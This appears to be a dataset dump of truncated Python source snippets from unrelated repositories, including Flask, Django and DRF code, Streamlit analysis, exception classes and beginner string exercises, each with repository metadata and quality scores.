coveralls_check.py | jayvdb/coveralls-check | 0 | 22587 | <filename>coveralls_check.py
from __future__ import print_function
import logging
from argparse import ArgumentParser
import backoff
import requests
import sys
POLL_URL = 'https://coveralls.io/builds/{}.json'
DONE_URL = 'https://coveralls.io/webhook'
def setup_logging():
logger = logging.getLogger('backoff')
... | 2.53125 | 3 |
ScienceCruiseDataManagement/data_storage_management/utils.py | Swiss-Polar-Institute/science-cruise-data-management | 6 | 22588 | <reponame>Swiss-Polar-Institute/science-cruise-data-management
import subprocess
import glob
import os
import datetime
# This file is part of https://github.com/cpina/science-cruise-data-management
#
# This project was programmed in a hurry without any prior Django experience,
# while circumnavigating the Antarctic on... | 2.1875 | 2 |
Applied Project/Web/app/config.py | rebeccabernie/CurrencyAnalyser | 27 | 22589 | """ Global Flask Application Settings """
import os
from app import app
class Config(object):
DEBUG = False
TESTING = False
PRODUCTION = False
class Development(Config):
MODE = 'Development'
DEBUG = True
class Production(Config):
MODE = 'Production'
DEBUG = False
PRODUCTION = True... | 2.546875 | 3 |
Exercise-1/Q4_reverse.py | abhay-lal/18CSC207J-APP | 0 | 22590 | <filename>Exercise-1/Q4_reverse.py
word = input('Enter a word')
len = len(word)
for i in range(len-1, -1, -1):
print(word[i], end='')
| 4 | 4 |
exercise/6.py | zhaoshengshi/practicepython-exercise | 0 | 22591 | <reponame>zhaoshengshi/practicepython-exercise
ss = input('Please give me a string: ')
if ss == ss[::-1]:
print("Yes, %s is a palindrome." % ss)
else:
print('Nevermind, %s isn\'t a palindrome.' % ss)
| 4.03125 | 4 |
app/v2/resources/users.py | fabischolasi/fast-food-fast-v1 | 1 | 22592 | from flask import Blueprint, jsonify, make_response
from flask_restful import Resource, Api, reqparse, inputs
from ..models.decorators import admin_required
from ..models.models import UserModel
import os
class SignUp(Resource):
def __init__(self):
"""
Validates both json and form-data input
... | 2.859375 | 3 |
model_blocks/tests.py | aptivate/django-model-blocks | 6 | 22593 | """
Test the model blocks
"""
import datetime
from django.test import TestCase
from mock import Mock
from django.db.models import Model, IntegerField, DateTimeField, CharField
from django.template import Context, Template, TemplateSyntaxError
from example_project.pepulator_factory.models import Pepulator, Distribut... | 2.640625 | 3 |
lit_nlp/examples/toxicity_demo.py | ghostian/lit | 0 | 22594 | <reponame>ghostian/lit
# Lint as: python3
r"""LIT Demo for a Toxicity model.
To run locally:
python -m lit_nlp.examples.toxicity_demo --port=5432
Once you see the ASCII-art LIT logo, navigate to localhost:5432 to access the
demo UI.
"""
from absl import app
from absl import flags
from absl import logging
from lit... | 2.25 | 2 |
portifolio_analysis.py | lucasHashi/app-calculate-stock-portifolio-division | 0 | 22595 | <filename>portifolio_analysis.py
import pandas as pd
import streamlit as st
import plotly.graph_objects as go
import plotly.express as px
import plotly.io as pio
pio.templates.default = "plotly_white"
def load_portifolio_analysis(df_stocks_and_grades):
st.write('# Portifolio analysis')
st.write('## Investme... | 2.9375 | 3 |
clicrud/clicrud/helpers.py | DavidJohnGee/clicrud | 9 | 22596 | """
Copyright 2015 Brocade Communications Systems, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed t... | 2.078125 | 2 |
patton_server/service/__init__.py | directionless/patton-server | 0 | 22597 | <reponame>directionless/patton-server
from .make_web_app import *
| 1.078125 | 1 |
lib/abridger/exc.py | willangenent/abridger | 8 | 22598 | <reponame>willangenent/abridger
class AbridgerError(Exception):
pass
class ConfigFileLoaderError(AbridgerError):
pass
class IncludeError(ConfigFileLoaderError):
pass
class DataError(ConfigFileLoaderError):
pass
class FileNotFoundError(ConfigFileLoaderError):
pass
class DatabaseUrlError(Abr... | 1.8125 | 2 |
common/permissions.py | pedro-hs/financial-account | 0 | 22599 | <reponame>pedro-hs/financial-account<filename>common/permissions.py
from rest_framework.permissions import BasePermission, IsAuthenticated
class IsBackOffice(BasePermission):
def has_permission(self, request, view):
return bool(request.user and request.user.is_authenticated and request.user.role == 'colla... | 2.46875 | 2 |